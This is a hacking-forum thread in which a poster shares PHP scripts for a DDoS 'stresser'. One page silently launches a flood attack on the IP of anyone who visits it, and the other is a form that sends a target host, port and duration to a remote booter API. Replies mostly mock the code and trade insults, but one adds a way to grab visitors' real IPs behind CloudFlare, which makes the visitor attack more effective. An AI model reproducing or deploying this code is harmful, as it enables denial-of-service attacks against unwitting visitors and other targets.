[Haxx0r15]

hello guys,

this is nice scripts i found

i created auto ddos when victim visit the page with api (perhaps it could be hacked with jpg hack and htaccess??):

PHP Code


<?php
$host = $_SERVER['REMOTE_ADDR'];
echo file_get_contents("http://server.ip/launch.php?host=".$host."&port=80&time=30");
?>

and a working ddos api php webpage:

PHP Code


<?php 
<center>
<div class="thumbnail">
                        <div class="caption">                        
<h1>DDos Flood</h1>
<br>
<form action="ddos.php?action=submit" method="post">
      <input name="host" type="text" value="" class="form-control" placeholder="IP Adress" style="width:180px">
      <input name="time" type="text" value="" class="form-control" placeholder="Time" style="width:180px">
      <input name="port" type="text" value="" class="form-control" placeholder="Port" style="width:180px">
      <br>
      <button class="btn btn-default" value="DDos" type="submit">Attack!</button>
                            </table>
                        </div>
      <div style="width:200px" class="alert alert-success">Status:
      <?php
$host = $_POST['host'];
$time = $_POST['time'];
$port = $_POST['port'];


switch($_GET['action']){
    case 'submit':
        echo file_get_contents("http://serverip/launch.php?host=".$host."&port=".$port."&time=".$time);
    break;
}
?>
      </div>                  

  </div>
</nav>
</center> 


[HFTetramorph]

You went from saying these were scripts you found to scripts you created.. Make up your mind?
Besides if this were to be used in any form of production environment I would stab the person who made the choice to implement it.
Why would you echo the file_get_contents on the auto attack page? To let the victim know you were attacking them?
The hell is a "jpg hack and htaccess"? A htaccess file is a way to tell the web server how to handle certain requests in special ways.. A "jpg hack" sounds like a trick used to get the server to visit a server to download an image, thus revealing the origin server's IP. Which shouldn't occur, yet wouldn't surprise me if possible considering how minimal this code is..

Why would you use a switch for the get action instead of a basic if statement?

Also why not use cURL instead of file_get_contents().. I hate file() so much, cURL is a better option for a stresser environment anyway.

Also that "API PHP Webpage" (other than being completly useless) was posted about two years ago on another HF competing website.. Its good to know that you contributed nothing but a script that takes the client IP (which wouldn't even work on a platform like CloudFlare btw) and injects it into a string for a over used function to echo a web page from.. Clearly an attempt to contribute when you knew nothing or had nothing to contribute in the first place.. Nice try

[Remix]

shut the fuck up there is no tutorial about curl and all you talk about
so enjoy my bullshit fucking bitch
bye

You should consider his tips since this "api" isn't really good

[Squito]

shut the fuck up there is no tutorial about curl and all you talk about

http://lmgtfy.com/?q=php+curl+tutorial About 5 540 000 hits. I agree, nothing.

PS: your second script will generate several "undefined index" error messages.

[Not him]

Do you need help with something or are you just sharing a script you found? I have no idea what the fuck the purpose of this thread is.

[Haxx0r15]

http://lmgtfy.com/?q=php+curl+tutorial About 5 540 000 hits. I agree, nothing.

PS: your second script will generate several "undefined index" error messages.

not my fault if i found this on a forum with "pro coders"
not my fault if i read and use bullshit code on this fucking internet

[Remix]

not my fault if i found this on a forum with "pro coders"
not my fault if i read and use bullshit code on this fucking internet

programming rule #1: its always your fault

[Tommy Chong-]

(which wouldn't even work on a platform like CloudFlare btw)

I agree with you, but it does work with cloudflare though, you only have to edit REMOTE_ADDR to http_cf_connecting_ip
Or just add a function like this:

Code

function getRealIpAddr()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP']))  
    {
        $ip=$_SERVER['HTTP_CLIENT_IP'];
    }
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))  
    {
        $ip=$_SERVER['REMOTE_ADDR'];
    }
    else
    {
        $ip=$_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}
$_SERVER['REMOTE_ADDR'] = getRealIpAddr();

But still, OP tried to contribute, not knowing this is useless. He might've thought otherwise. Don't be too hard on the kid

[DataBuster]

Well, thanks for trying to contribute, though it ain't really useful...